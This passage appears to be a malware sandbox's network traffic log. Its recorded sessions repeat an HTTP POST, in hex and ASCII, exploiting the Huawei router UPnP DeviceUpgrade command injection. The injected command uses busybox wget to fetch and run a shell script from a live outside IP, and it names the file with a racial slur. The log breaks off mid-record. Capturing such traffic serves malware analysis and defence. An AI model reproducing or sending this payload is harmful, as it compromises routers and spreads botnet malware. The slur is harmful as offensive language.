3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881539106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.488903046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.447705030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365214109 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	53568	31.200.83.107	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.003345013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	51540	31.200.7.169	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.054567099 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	54464	31.136.137.66	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.797274113 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881701946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.024683952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 